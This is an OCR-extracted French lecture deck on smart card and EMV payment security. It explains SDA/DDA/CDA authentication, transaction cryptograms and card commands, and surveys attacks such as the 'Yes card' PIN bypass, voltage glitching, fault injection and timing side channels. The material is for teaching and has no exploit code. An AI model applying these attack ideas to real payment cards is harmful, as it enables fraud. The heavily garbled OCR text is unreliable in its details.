€gio . R Rate = Rate
a, and 680
bbea
alica aé‘;‘g Mickcis QU 50.5% 160M 61.2% 184M 68.7%

*Figurgyported in Q4 gff01020%. and 2016, respectively, and represent the latest statistics from American Express, Discover, JCB, MasterCard
UnionPay, and Visa, as reported by their member institutions globally.
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¢
Card-Present T @ction
@ EMVCoO s; Percentage of Card-Present

Transactions that are EMV

ca&TkQVIiddIe [F 59-94%
90.89%

Asia
. f 88.81%

97.60%
98.17%

Europe Zone 1

Europe Zone 2

The United States

I ;. 2015 - june 2016

[ 1uy 2016 - sune 2017 0.00% 20.00% 40.00% 60.00% 80.00% 100.00%

“Figures represent the ofall card-p ions p. d by each member institution that are EMV transactions (Contact or Contactless). The reported data is from the twelve months of July 2015
through June 2016 (blue bar) and July 2016 through June 2017 (green bar) and represents the most accurate possible data that could be obtained by American Express, Discover, JCB, MasterCard, UnionPay, and Visa
during this period. To qualify as an “EMV transaction” for the purpose of this methodology, both the card and terminal used during a transaction must be EMV-enabled. Data is reported from the acquirer perspective.
These figures do not include offline ions, "on us” ions (defined as ion handled ively by another processor), and/or transactions processed by non-EMVCo-member institutions, such as

226
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Déploiement de terminaux EMV

54.2% of cards
84.7% of terminals

E<: Co

Canada, Latin America,
and the Carribean

[ Asia Pacific

[[] Africa & the Middle East
Europe Zone 1

. Europe Zone 2

|:| United States

38.9% of cards
86.3% of terminals

*Figures reported as of Q4 2013 and represent the Iatest statistics from § ial institutions globally.
Figures do not include data from the United Stal ffures are rej

SeLulile ues systernes ernudiyues - |

Déploiement d V aujourd’hui

* Europe:

* Zone SEPA (Singl yment Area)

* Migration ver
* En 2010: 109%
* En 2010,

Vv de@nvier 2008 au 31 Décembre 2010.
,a/ artes doivent étre conformes a 'EMV
#ns de cartes bancaires EMV seront en circulation

* Dans le monde (Europe, Asie et Amérique Latine)
* En 2010, 830 millions de cartes EMV en circulation.

e USA : pas de cartes conformes a I'EMV, idem pour les cartes e-ID.
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Raisons de la migration

* Liability shift
* les colts induits par une fraude lecteur ou terminal seront pris en charge par

les banques (émetteurs de la carte) ou les commercants dont les matériels ne
seraient pas conformes a EMV

* Fraude
* différente selon les pays et les systemes de paieme @

Sécurité des systemes embarqués - @9 - uveron 229
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Spécifications

* Spécifications E%
* basées sur la pQfm 8/IEC 7816

* doivent étre ﬁ onjointement avec la norme ISO

fournies dans EMV sont différentes de la norme ISO

alors les définiions de la norme EMV remplacent celles de I'lISO

* Ces spécifications doivent étre utilisées par :
* Les fabricants de ICC et de terminaux
* Les concepteurs de systemes de paiement
* Les institutions financieres qui implantent des applications financieres sur ICC
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Book 2 : Security and Key Management

O

Sécurité des systemes embarqués - | 2/ 9 - uveron
Q Q
Book 2
* Static Data Authemé
* Dynamic Datantigtion

* Cryptage ode PIN hors ligne
* Intégrité et confidentialité

* Mécanismes de sécurité : cryptage symétrique, asymétrique, signature
numérique.

 Algorithmes cryptographiques : RSA, DES, SHA-1

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Acteurs du protocole EMV

* La banque du client : émetteur de la carte
* Le client : Carte bancaire

* Le TPE (Terminal de Paiement Electronique ou le D \stributeur
Automatique de Billets) : marchand :
* Une autorité de certification : CA
Sécurité des systemes embarqués - @9 - uveron
Q

Mécanismes d;[}jg ntification
* Processus SDA : %% ta Authentication

* consiste pour Jeter

durant sa palis |

* Processus DDAV, Dynamic Data Authentication

* en plus d’un authentification statique, vérifie si la carte possede un secret
délivré par 'émetteur de la carte

al a vérifier une donnée signée mise dans la carte
on

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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SDA : Static Data Authentication

Acquirer

Distributed to Acquirer
(Resides in Terminal)

Issuer Certification Authority
Private Key | | Public Key Private Key | | Public Key
- (Issuer) (Issuer) (CA) {CA)
s s P S, P
pplication i 1 Ca cA
data l
Signed Static
] ADDIICATION [t ;
. Issuer PK
Data (S5AD) Certificate [
-——|
IC Card =%

Y

IC Terminal

1

Communication between [ ard a minal
Sécurité des systemes embarqués - | 2 /719 -@0.Fauveron

Organisation d

Emetteur (Banque)

1

)

¢

18 priv(Infos)

Valeur
d’Authentification

Carte bancaire

—&,

(Infos, VA,
Epubl Ecert)

£H

d

7

Q

eurs dans SDA

Autorité de Certification

6)
(CAprivr CApub)

SigCApriv(Epub)

ertificat
E

cert

M

Transactions
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SDA : a la personnalisation

* Pendant la phase de personnalisation, la carte recoit les informations
suivantes :

* Le nom du porteur, le numéro de la carte ou encore la date limite de validité de celle-
Ci (notés Information).

* une valeur d’authentification (noté VA), signature RSA d’'Infildrmat)on générée
avec la partie privée de la clé de I'émetteur : VA=Sigy,, ation)

* le certificat de I'émetteur (E_.,.) contenant sa clé p ignée par une autorité
de certification

* |le code PIN transmis au porteur de cette carte
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¢

Lors de "utilisati

VA= Sig; riv(IZOSé :? :
P o Ecert = SIgCApriv(Epub)

” (Infos, VA, E_..))

(Infos » | (Infos, VA, E_.,)
Epub/ Ecert)
RSA(E CApub)=Epub

CAw

Code PIN

cert/

RSA(VA, E,;,)=Infos” ?=Infos

Demande du code PIN a l'utilisateur

5

-
T I=--= Présentation du code PIN en clair

Carte bancaire

Marchand
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SDA : a la l'utilisation
* Avant toute transaction :

* |a carte fournit au terminal Information, le certificat E
émettrice, ainsi que la valeur d’authentification VA

de la banque

cert

* le terminal vérifie E__,, avec la clé publique de l'autorit¢ deseytification
(CA,,,) et vérifie VA avec la clé publique de la banque évnettr)de

* le terminal demande a I'utilisateur le code PIN et et (en clair) ala
carte pour qu’elle le vérifie.
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La Yes card est ble

* Lors de transacti
connexion), il e

ne (par exemple le terminal n'a pas de
le de renvoyer les données statiques copiées

* Mais la plu s terminaux étant en ligne de facon permanente, la
fraude a {(nuée car les yes cards peuvent étre détectées

* Puis la DDA arrive afin de permettre a la carte de signer un aléa
produit par le terminal (et donc de prouver gu'elle est une vraie
carte)
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Dynamic Data Authentication : DDA

Emetteur (Banque) Autorité de Certification
6
@ @ . SigCApriv(Epub)
Slngriv(Cpub) (CAprlvr CApub)
Infos (C

Carte bancaire

priv/ Cpub) (Epubl Ep]‘iv) ~ ‘5)
\\’ ’
Certificat €rtificat
Ccert Ecert

NN

(Infos, C iy Coups

certl publ ccrt)

Transactio
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@@

DDA : a la pers isation

* Pendant la phase ers¥nnalisation, la carte recoit les informations
suivantes :
* Le nom du p@ e numéro de la carte ou encore la date limite de validité de celle-
ci (notés Ation)

une paire dNQM$RSA (C, ., C, .5,
un certificat (C_...) contenant C_ , signée par I'émetteur

le certificat de I'émetteur (E ., ) contenant sa clé publique E_ , signée par une
autorité de certification

le code PIN transmis au porteur de cette carte.
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Lors de I’tilisation

Ceri= SigE iy (C
cert™ S1Biprt Cou) Ecert = Sigcapriv(Epup)

(Infosl Ccert’ ECel‘f)
> (Infosl Ccertl Ecert)
) Talea
(InfoS,Cpubr Cprivf Res:SigCPriv(Caleal Talea)l Calea > .
Ccert’ Epubl Ecert)
Code PIN
ode RSA(Eceru CApub)=Epub

RSA(Ccertl Epub)=C]:Jub
Verif(Res, Cpub) ?= Caa %

Demande du code PIN a 1'utilisat &)
£ 2

Cryptc,,(Code PIN, aleal, al 5/ N/ J— =
Carte bancaire PtcpuplC-ode TIN, aleal, ale 3 N
: Marchand
Sécurité des systémes embarqués - | 2/719 -@ Fauveron

DDA : a I’utilis%ég@
* Avant toute transa&m:

* la carte fourni ’3 termiQI Informations, le certificat E__,, de la banque émettrice,

énere une valeur aléatoire T et I'envoie a la carte

alea

243

* la carte géne e valeur aléatoire C_, __. Puis, ellesigne T_,__ etC_,__ avec saclé
privée C_ ;. Ee envoie le résultat de B signature et C_,__ au terminal.
* le terminal vérifie E_., . avec CA_, et vérifie C ... avecE_ . Puis, il vérifie la

signature des aléas avec C_ ;..

* le terminal demande a l'utilisateur le code PIN et le transmet (chiffré par C ) a la
carte pour qu’elle le vérifie. Le code PIN est d’abord concaténé avec deux nouvelles
valeurs aléatoires fournies par la carte et le terminal, afin d’éviter les attaques par

rejeu.
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Mode de gestion des transactions

* La transaction est finalisée en ligne ou hors ligne, choix fait par la
carte ou le terminal selon une politique de gestion de risques :

* sélection aléatoire
* validation en ligne pour n validations hors ligne @
¢ en fonction du montant de la transaction @

* en fonction du montant cumulé des transactio ffectuées hors ligne ou
d’un plancher fixé par le marchand.
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@@

Fonctionneme ligne et hors ligne

* Une clé secrete ( e 112bits) est utilisée :

* unique par

* notée . Calculée a partir de C et d’un compteur de transactions

” X maitre
(ATC: n Transaction Counter)
* Chaitre €St une clé de la carte générée par la banque émettrice a partir d’'une

clé maitre de la banque E et des informations bancaires

maitre

* C est mise dans la carte lors de la personnalisation

maitre

* ATC est un compteur sur deux octets géré par la carte et incrémenté a
chaque transaction.
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Transaction: personnallsatmn

Emetteur : Banque

Jor,
Infos >/
maltre
maltre

f 0

maitre
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@@

Transaction: utiy on

C

Carte bancaire

Dériva)d’uneaé unique par transaction:

A4
m Ctr ans
TC = 3DES(Trans, C,,,,, ATC)
ATC -
Carte bancaire Marchand
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Fonctionnement hors ligne

* Le terminal envoie a la carte les détails de la transaction

* La carte produit alors un certificat de transaction TC en signant ces
données (algorithme DES CBC-MAC) a l'aidede C, _, ..

* Le terminal ne peut pas vérifier TC mais le garde pdur validation

ultérieure aupres de sa banque.
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@

Fonctionneme ligne

* Le terminal envoig § I3 Banque émettrice le cryptogramme généré par
la carte (ARQC Alt ation ReQuest Cryptogram).

Authoriz ResPonse Cryptogramm) envoyé a la carte via le
terminal

*La banqueg veZ ie et génere un cryptogramme réponse (ARPC

* Le terminal redemande alors a la carte de lui générer un certificat de
transaction TC qui inclut I'autorisation de la banque.
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Transaction en ligne

Dérivation d'une clé unique par transaction:

Carte bancaire

EMV
transaction

EIE]

4

ls?xer Auth
System

ans

ARQC

3DES(Trans,| ARPC, C

trans)

Marchand

Sécurité des systémes embarqués - |

3 DES
Cryptogram

ARQC : Authorization ReQuest Cryptogram
ARPC : Authorization ResPonse Cryptogram

4
Acquirer
System

2/

9

¢

EMV transaction
data

uveron

mbarqués - ISIMA - 02/2019 - D. Sauveron
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Voir :

bank bank

reader ~PC (Python) FPGA - Jak acquirer issuer

Intercepte le PIN et dit « Yes »

/\

La carte doit supporter que le PIN ne soit pas présenté (terminal ne port s de clavier par exemple — BUSINESS is
BUSINESS) et elle donc peut en run etc.

)
(/\/0

La Yes card est&' urs possible

I 5
220 2| spa g
PBL of scn z
vee Bl gt 3
3
4

20
o B | arogced

L
s
—
wn

AT90S8

https://eprint.iacr.org/2015/963.pdf

http://sec.cs.ucl.ac.uk/users/smurdoch/papers/oakland14chipandskim.pdf

https://www.cl.cam.ac.uk/research/security/banking/nopin/oakland10chipbroken.pdf

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron

254



Authentification CDA

* CDA : Combined Data Authentication, variante de DDA
e utilise TC

* inclut TC dans le bloc de données signé par la carte avec sa clé privée

ARQC

Cmaitre —'Ctr ns

ARPC

Sigcpiv(Trans, ARPC)

Carte bancaire Marchand

Banque
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@@

La Yes card est toMours possible

e Saufsi:
* Le terminal vérifie I3 nature puis les champs devant contenir si la carte a

oui ou non fAf)lb vériffcation de PIN.
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Book 3 : Application specifications

@C@

Sécurité des systemes embarqués - @9 E uveron

Book Il : Spéci '@n de l'application

e Partie 1: Les don@ es commandes
&y
* Partie 2: &nsactionnel

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Structure des fichiers

e Les fichiers d’un ICC sont vus du terminal comme une structure
arborescente. Chaque branche de |'arbre est :

* Un ADF (Application Definition File)
* Un ADF est un point d’entrée pour un ou plusieurs AEF
* AEF (Application Elementary Files) : fichiers élémentaires

* ou un DDF (Directory Definition File)
* Un DDF est un point d’entrée a d’autres ADF ou DDF

* Un ADF est associé a chaque application @
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Exemple simpl;}3 orescence
* MF (Master File) /fchier maitre, c’est le répertoire racine identifié

ar ‘3F 00’
S &y
MF @
ADF
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|dentification et nommage des fichiers

* |[dentification par nom
* un DDF ou un ADF peut étre référencé a l'aide d’'un nom.
* Le nom d’un ADF correspond a I'AID ou bien contient 'AID comme début du

nom
* Chaque nom doit étre unique au sein d’une carte
* |[dentification par SFI (Short File Identifier) @
* Les SFl sont utilisés pour sélectionner des AEF.
* Chaque AEF d’une application est identifié pa a 5 bits ayant des
valeurs entre 1 et 30.
* Un SFl doit étre unique dans une applicati

<

READ RECORD @

* Lit les enregistremerlils fichier a structure linéaire (basé sur les
enregistrements)

* I'ICC retourne enr trement

Code Value

CLA 0

INS ‘Bz

P1 Record number

P2 Reference control parameter (see Tahle 39)

Le Not present

Data Not present

Le ‘oo’
b8 | b7 | b6 | b5 | b4 | b3 | b2 | b1 Meaning
X | x | x| x | x SF1

1 | 0 | 0 | P1is a record number

Table 39: READ RECORD Command Reference Control Parameter



PSE (Payment System Environment)

* Un systeme de paiement comprend :

* Un ensemble de fichiers dans I'ICC
* Des données au niveau du terminal fournies par le marchand

* Un protocole d’application compris par I'lICC et le terminal

* Les applications sont identifiées par AIDs de maniére uni ément a
I'ISO7816-5

e Pour les cartes a contact : 1PAY.SYS.DDF01

* Pour les cartes sans contact : 2PAY.SYS.DDF01 ur Proximity PSE)

Sécurité des systemes embarqués - @9 - uveron 263

iIcations de paiement

]

|dentification

% d’enregistrement et d’attribution des
identifiants des tions (AID, ou Application IDentifier).

* Un unique/MD &st associé a chaque application = {RID, PIX}

* RID : numéro unique par fournisseur d’application

* Regardez vos facturettes !
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Interopérabilite

* Le terminal doit étre capable de travailler avec tous les ICC supportant
des PSE

* Conformité avec la norme ISO

* Les ICCs doivent étre capables de supporter des licapppns
multiples, pas uniquement des applications de

Sécurité des systemes embarqués - @9 - uveron 265

Commandes S@ ues a 'EMV
* GET PROCESSING% . initie la transaction dans la carte
o

7/

* GENERATE AC;
* APPLICATIO K : bloque 'application courante

* APPLICAT UNBLOCK : débloque une application bloquée
* CARD BLOC gue la carte

* PIN CHANGE/UNBLOCK: change ou débloque le code PIN

un cryptogramme
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Flux d’'une transaction

Data 1B saceunple, Terrinsi| Terminal Risk
Authentication | performed in paraBel with Management

Processing
Restrictions.

Cardholder
Verification

Terminal
Action Analysis

opipe @
N

i (A\/\
f ﬂ
C 1 - %;
\v4
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&

Application Sel

* Le terminal choisft{’application en sélectionnant I'AID de I'appli
(MasterCard, Visd,

)

3

 'ADF est&nné

* La carte retourne le FCI (File Control Information) de 'ADF
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Initiate Application Processing

* Informe I'ICC que le traitement d’'une nouvelle transaction va
commencer

* Opération effectuée apres la sélection de l'application

* Obtient de la carte le profile d’échange (AIP: Applicgtion/Interchange
Profile) et la liste des fichiers a utiliser durant | sagfion : SDA ou

DDA supporté, vérification du détenteur de | authentification
de I’émetteur, etc. @
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@@

Read Applicatlz%
* Le terminal lit les 4¢ es contenues dans les fichiers de la carte et

utilise les donngég J a carte pour vérifier I'authentification SDA ou
DDA

e Le termi ilise Read Record

* Opération effectuée apres l'opération Initiate Application Processing
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Processing restrictions

 Vérification :

* du numéro de version de l'application

* de I'Application Usage Control
* des dates d’expiration de |'application

Sécurité des systemes embarqués - |

Application Us

Ay

2/ 9 - uveron

¢

ontrol

then the following bit must be

SN

V, if
If: o and . setto1in
’ . Issuer Country Code: Application Usage Control:
ion Type | matches “Valid for domestic cash
cash Terminal Country Code | transactions’
lon does not match Valid for international cash
Terminal Country Code | transactions’
action Type | matches WValid for domestic goods’
icates Terminal Country Code
urchase of goods |4 .¢ not match Valid for international goods
Terminal Country Code
Transaction Type | matches WValid for domestic services”
indicates Terminal Country Code
purchase of does not match “Valid for international services’
Terminal Country Code
transaction has a | matches ‘Domestic cashback allowed’
cashback amount | Terminal Country Code
does not match ‘International cashback allowed’
Terminal Country Code

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Cardholder Verification

 Vérification du détenteur de la carte

* La carte doit étre capable de supporter au moins une méthode de
vérification de détenteur de carte (CVM: Cardholde ification

Method). Ceci doit étre spécifié dans le profile d’écdangg)envoyé par
la carte. Le terminal doit utiliser cette méthode@

Codes CVM

Sécurité des systemes embarqués - |

2/ 9 - auveron

Q

RFU

Fail cardholder verification if this
CVM is unsuccessful

Apply succeeding CV Rule if this
CVM is unsuccessful

, 0 0 | 0 | 0 |Fail CVM processing
Y o 0 | 0 | 1 |Plaintext PIN verification
performed by ICC
0|0 0|0 1 0 | Enciphered PIN verified online
0 0 0 0 1 1 | Plaintext PIN verification
performed by ICC and signature
(paper)
0|0 | 0| 1|0 ]| 0 |Enciphered PIN verification
performed by ICC
0|0 0 11|10 1 | Enciphered PIN verification
performed by ICC and signature
(paper)

(=1

Values in the range 000110-011101
reserved for future use by this
specification

(=]

Signature (paper)

o

No CVM required

Values in the range 100000-101111
reserved for use by the individual
payment systems

Values in the range 110000-111110
reserved for use by the issuer

This value is not available for use
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PIN Verification

* La vérification du PIN
* peut se faire en ligne ou hors ligne selon les valeurs de CVM
* peut nécessiter le chiffrement du PIN
* peut étre complétée par une signature manuelle

* VERIFY PIN : vérification du code PIN (crypté ou nofij hds ligne

* GET CHALLENGE: le terminal demande un n @Iéatoire (nb) ala

carte
:0
Terminal Risk ement

ur éviter la fraude :

ification d’informations relatives a la transaction sur le
mpte, montant de la transaction, date de la

* Mécanismes utili

terminal (n
transactio

* velocity £ifecking : vérifier que les transactions effectuées hors ligne seront
complé ndigne.
* algorithmesY¢ gestion des risques propres a 'émetteur de la carte
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Card Action Analysis

* Comme conséquence a la gestion des risques :

* |la carte peut accepter une transaction hors ligne en générant un certificat de
transaction TC.
* |a carte peut demander une autorisation en ligne en générant ARQC.

* |la carte peut décider de rejeter la transaction.
Sécurité des systemes embarqués - @9 - uveron 277

Online Process;

ta s’assurer que I'émetteur de la carte peut
gjeter les transactions.

* Online Processin
réviser, autorise

ENTICATE : le terminal envoie les données
de la banque

* La carte vérifie les données d’authentification et génere un
cryptogramme.
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Script Processing

* Script Processing : ne fait pas partie de I'application
* Ensemble de commandes adressées a la carte en mode administrateur :

* PIN CHANGE/ UNBLOCK
* APPLICATION BLOCK/UNBLOCK

* CARD BLOCK. @
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N

* Besoins fonction& caractéristiques physiques

e Gestion des dgmnée &t du logiciel
* Interfaces u
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Sur Internet

* Lutilisation des 16 chiffres visibles de la carte n’est pas un protocole de paiement
sqr.

* Ce numéro a 16 chiffres n’est plus imprimé sur les facturettes

* 9 chiffres sont encore inscrits sur les facturettes et correspondent a peu pres a
I’aléa choisi par la banque. => possibilité de reconstituer le numéro entier

 En 2001, un cryptogramme a été rajouté et imprimé uniquement sur la carte,
ﬁ}lopele gV\(/j (Card Verification Value) chez Visa et CVC (Card tion Code) chez
asterCar

* Ce code est généré par la banque a partir des informatio
de données secretes de la banque

* Ce code ne peut étre reconstruit car I'algorithme est sg
* Depuis 2004, le cryptogramme doit étre demandé p %g’
Q c

s du client et

site marchand en plus
istance aupres de la

du numéro de la carte afin de valider toute transag] d
banque émettrice.

* Ce numéro n’est écrit nulle part sauf sur la car

Sécurité des systemes embarqués - | 2 /749 - uveron 281

Conclusion

* Lauthentification DDA ’estas obligatoire et
* DDA est plus robus plus chere
* En France, la majoniyé des\dartes aujourd’hui supportent DDA

e 'authentificAdon SDA :

* Code PI é en clair
. CI%RSA el s mais la donnée d’authentification peut étre lue sans présentation de
code

* Aujourd’hui, il manque des liens entre I'authentification, |a vérification du code
PIN et la génération de TC : les requétes envoyées par le terminal peuvent étre
interceptées en forgeant des réponses a envoyer

* Nouvelle tendance de paiement : paiement sans contact _ﬁISO 14443) =>
nouveaux systemes, nouveaux protocoles et nouvelles failles ...
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Les cartes prépayées @@

Sécurité des systemes embarqués - @9 E uveron 283

* Carte Prepayée
= Cas particulie

4 ¢ la carte contient des jetons (et non de I'argent)
«  Hx : Abonngien toroute (Marseille), Places de cinéma, ...

«  Une réusy @ a Telecarte
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Analyse du succes de la télécarte

* C'est une carte prépayée.

* Elle contient des jetons (et non de I'argent)

* Les raisons de sa réussite :
* Fin du vandalisme des cabines téléphoniques

* Temps de communication +50%

* Support publicitaire

W

o Thcare g
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Applications Actuelles des Cartes

e Différents secteurs porteurs

* Les Télécommunications : Cartes Pré-payé€es, carte SIM
» Recherche ) + de services, ¥ le cout

* Les Banques : Porte-monnaie Electronique, e Bancaire
» Recherche de cotit de fonctionnement le plus fai

» La Santé : Carte patient, carte professior nte

* Recherche la sécurité d " informations seng

e Sous | 'impulsion du GSM,

la carte doit offrir e n + de services

Le futur de la carte a puce
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Les cartes a puce du futur

Région

4
Des cartes ... encore ... toujours ... LIMOUSIN

/yASA? Ny

... toujours plus ... MUNSTER A0
... partout ... W
, JE DEBITE
Comment résoudre TOUT D€ suiTe

ce probléeme ?

La carte multi-applicative

Oyster Card et ays

e Qyster
* Facile et pratique pour y#)ager
* Chargement de créditf g\capte d'abonnement.
* (C'est une fonctionnaltfé tota}ement séparé du compte associé a la carte de crédit

er dans Londres.

UNDERGROUND

e Cashless
e Technologie VidR
* Les transactions ap

Ave and pay" pour des petits achats (inférieurs a £10) sans PIN.
paraissent sur le relevé de compte.

e Crédit - Paiement
* Application Visa classique avec PIN pour les paiements supérieurs a £10.

Barclaycard ;‘Q
y -}"l_

72 eyster 3

b |
{ )
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Le d|ff|C|Ie equmbre

LOI DE MOORE

Navette Spatiale
+2000

Les Pyramides de Gizeh

Milieu du

Paléolithique
-200,000

x 4000

Java Card
Programmes

Rloitation multi-taches
aBiométrie
eb

!

Smart card
ISO 7816

1979

e e g . - Cho o 291

Les cartes du f @
* Quelques évolutio z ielles : -
BllS qr 1es
? / :Ecrasn
o /mi\ .hi\?Jt—parleur

Lo
Vil 7

“‘-H.__\_\_ ,
——_, Entrées

S/ « Clavier
_— « Lecteur d’empreintes digitales
Amélioration des performances Alimentation ¢ Ca.pteurs
« Microprocesseur « Batterie « Micro
« Mémoire « Capteur solaire ®

* Une horloge pour éviter les attaques temporelles
* La batterie
* Modification de la mémoire non volatile est plus difficile a observer
* Le processeur peut étre réveillé pour rappeler des événements au
porteur

Sécurit



LE PERIPHERIQUE
LE PLUS SECURISE
AU MONDE

INFORMATIQUE

CRYPTOGRAPPHE™N

La sécurité s@@
éle

Le haut niveau de sécurité est assuré par la triple allia ctronique, de

I'informatique et de la cryptographie
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g 0
La sécurité physi

* techniques d’impye&siotf sophistiquées
* différentes couches pression
* hologramm
* embossa

» procédés d’ensdllage

* matériaux plastiques

* design du micro-contact
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La sécurité hardware

* Le micromodule est monolithique => difficile de distinguer ses différents
composants

* un numéro de série unique
* 'utilisation de mémoire de type PROM
* blindage physique du composant (grille, grille active, ...)

* des détecteurs de conditions anormales (tension, fréquence, température,

lumiere, ...)

* brouillage des informations dans le composant (mémoire
* co-processeurs cryptographiques
* pompe de charge pour le lissage de la consommatio

* dual logic, circuit asynchrone
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Une puce
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La grille de protection (active ou non)
'H$i$:i$=i$:i$i$:i$’:i$d$’d£’:5’:i,.
oy e g e e i e e e S S S S
R
PR L LR LR L L B LR L L |
o oy wdl 0 gy ool 0 g el
g0
i

eedepandepd

Pum— ‘.

oyl o

* Blocks easily identified
* No shield

* No glue logic

* Buses clearly visible

* Shield
* Scrambled glue logic
* No Buses visible
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La coupe d'une puce

EHT =15.00 kV

WD= 4mm

Signal A = InLens
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La coupe d’un transistor

Plot tungsténe
Plot tungsténe

Mag = 100.00 K X |2°°”’” I { Signal A = InLens

La sécurité sof
e controles d’accéw nnées
O
* maintien de ité des données

entrées/sort écurisées

migration du code
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Et pour encore plus de securité et de confiance

* La sécurité de I'environnement de production
* physiquement sécurisé
* régulierement audité

* Les méthodes formelles et le test
* Conception formelle de certains partie de I'OS (voire de(l|JOS cpinplet)

* Preuve formelle sur des aspects sécuritaires
* Génération de jeux de tests associés aux spécificati@

e ['évaluation sécuritaire et la certificatio
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¢

L'évaluation sé ire et la certification

* La certification

* Objectifs :
* Garantir lg de Qx:urité d’un produit Tl (confidentialité, intégrité, disponibilité).
* Bénéficid ords de reconnaissance mutuelle.

* Avantages P .Vﬁ :
* |es utilisatedrs : comparer sur une base objectif ;
* |es industriels : prouver leur compétence et d’étendre leurs marchés ;

* |es autorités d’homologation : s’assurer que les objectifs de sécurité sont satisfaits et que
leur pays ne court pas de risque majeur a utiliser des produits Tl !
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Le schéma Francais

ar I évaluateur

Connaissance du produit p

Certificat RTE
Rapport dz certification

L'échelle d'ass;E3
Echelle cra&ﬂ 0)

Organisme de certification

DCsSI
Misa an osuvre du schéma
Agrdmant das CESTI

Suivides dvaluations — Cartification

Plan dz travail
Rapports danomalie

Flan de travail

Rapports d'anomalie
RTE

Commanditaire/Déeveloppeur

Initialisation ot financamant de I'évaluation

Développemant des produits soumis &
avaluation

i par

0 e développeur

Certificat d*agrément

Organisme d'accréditation

COFRAC
Accrdditation das CESTI suivant la norme
EN MF 45001

Certificat d"accréditation

CESTI

Conduite des évaluations
da la séeurité dos procuits

Fournitures
Rapports d"anomalis

&

0

Documentation et produil ——-----—--—-—-

Code sourc

Preuves formelles --——---—-—

(

: conception formelle vérifiée et produit teste
conception semi—formelle vérifiée et produit testé

~ produit congu de facon semi-formelle et testé

EAL 4: produit congu, testé, revu de fagon méthodique

EAT 2: produit testé structurellement
EAT 1: produit testé fonctionnellement

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Les bases des critéeres communs
* Criteres Communs (1SO15408)

HYPOTHESRES
sur I environmemeant:

Ea

Les attaques

Sécurité des systémes embarqués - ISIMA - 02/2019 - D. Sauveron
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Deux grandes catégories

* Non invasives
* Le produit reste fonctionnel

* |nvasives

* Le produit est partiellement endommagé @

Sécurité des systemes embarqués - @9 éé Z uuuuuu
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Quelques attaques non invasives
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Des attagques non invasives

* modification des conditions opérationnelles (Vcc, F)
= Attack on VPP

Vi :
= Gropnd » Using nail polish
Reset vpp ——— * Card not debited...
Clock e

modification de la température

modification des rayonnements lumineux (UV, rayon X, lumiére blanche, IR, ...)

injection de fautes (glitches, rayonnements lumineux)
* (injection de fautes sur la JVM : http://www.cs.princeton.edu/”su@/ e rs/)

* attaques sur les canaux cachés :
* Temps
e Consommation électrique
* Emissions électromagnétiques
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Injection de fautes
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Etes vous prét ?
* Politique : Les jouets cassés ne sont pas payés
e I

= 2
I James 2] B iammsad

S e N
e e B lommn ad
avion = $5

Dino ache fe a’es Joue 7‘5

rité des systemes embarqué

Ftes vous prét 2 @

* Politique : Les jouets cassé{ n%f pas payés
|voitur'e = g:

315

Je voudrais acheter
3 avions

9

e e N
o e N o a )

2" 2=y
B e - N Jon .
avion = $5

Dino achéte des jouets a Jack
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Ftes vous prét ?

* Politique : Les jouets cassés ne sont pas payés

@ &A Jack
. Ca fera $15 '.

Je voudrais acheter
3 avions

— ./—0'

s e P rre no
e 2=

N o - N o .

avion = $5

Dino achéte des jouets g%&
g 0
Etes vous prét ;{\@

 Politique : Les jouets cassgf n%f pas payés

A4

OK, s'il vous plaft
envoyez le par DHL

Ca fera $15

|voitur'e = g:

e e N
o e N o a )

2" 2=y
B e - N Jon .
avion = $5

Dino achéte des jouets a Jack
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Ftes vous prét ?

* Politique : Les jouets cassés ne sont pas payés

oy gy Jack
omment payez vous ? '.

OK, s'il vous plait
envoyez le par DHL

e Y e Y

7 e Ty no
e 2=

e o s

avion = $5

Dino achéte des jouets g%&
g 0
Etes vous prét ;{\@

 Politique : Les jouets cassgf n%f pas payés

A4

J'enverrai $15
en mandat postal

omment payez vous ?

|voiTur'e = g:

e e N
B Jammm s 2] B iasms s

e Y e Y
B e - N Jon .
avion = $5

Dino achéte des jouets a Jack
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Le facteur veux savoir ce que Dino a acheté pour $15

Méchant facteur

Sécurité des systémes embarqué 2/ 9%5 uuuuuu 321

Le facteur veux sa gf@e que Dino a acheté pour $15

Méchant facteur
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Pendant ce temps, Jack prépare le colis DHL

Y
T

@ Q
2
Et le donne au@r

N

b A
NN
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Qui tape dedans assez fort pour casser un jouet

Et le donne a Di
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Une semaine plus tard, il surveille le mandat postal de Dino...

@@%@@ -4 x3:$12
w}(a’* s s =2x5=$10

* La lecon apprise : Les attaques en faute peuvent aussi permettre d'extraire des
secrets de tokens!

* Les fautes matérielles peuvent étre venir de diverses sourc
* Glitches de tension, faisceau lumineux, faisceau laser ...

 Utilisable sur la signature RSA, le chiffrement DES, ...

* |y a des détecteurs lasers embarqués sur les pyogs récentes !
* (voir thése d'Alexandre SARAFIANQS)
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(software/hardware)

Attaques combj

* Pour forger des pojnte

éaliser une confusion de types) et ensuite
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Les canaux cachés @Q

On parle aussi de canaux auxilaires

Sécurité des systemes embarqués - | 2/ 9 - uveron 329

Q
Canaux cachés&x@
le temps d’exécuti

* nombre de cycledd’ onstruction ou d’un algorithme
* []a consomma courant
* Les modiffcationsrapides de la tension et de 'intensité du courant au sein du méme
compo ont a la base des émissions du circuit car ils conduisent des courants RF

a l'intérteur extérieur du chip.

les émissions électromagnétiques
* Les courants RF entrainent un rayonnement électromagnétique.

* le son
les émissions de photons
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Le matériel pour les attagues par canaux cachés

* Mesure : * Equipements
* du temps d’exécution * un oscilloscope numérique,
* de la consommation électrique * un pc équipé de cartes
* des émissions électromagnétiques d’acquisition et de logiciels

mathématiques pour le traitement

* duson ,
des données

La timing attack
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La timing attack

* Cette attaque consiste a mesurer le temps d’exécution d’un
algorithme.
* Elle révele des informations sur les opérations et/ou les opérandes.

* Elle nécessite souvent :
* un grand nombre d’exécution a messages choisis,
* un traitement statistique des résultats obtenus.

Sécurité des systemes embarqués - | uveron 333

&

ots et 10 dans l'autre :

Un jeu

* Mettez 28 dans u
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Un jeu

* Mettez 28 dans un des pots et 10 dans l'autre :

BT

@

Sécurité des systemes embarqués - @ uveron

ots et 10 dans l'autre :

Un jeu

* Mettez 28 dans u
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Un jeu

* Mettez 28 dans un des pots et 10 dans l'autre :

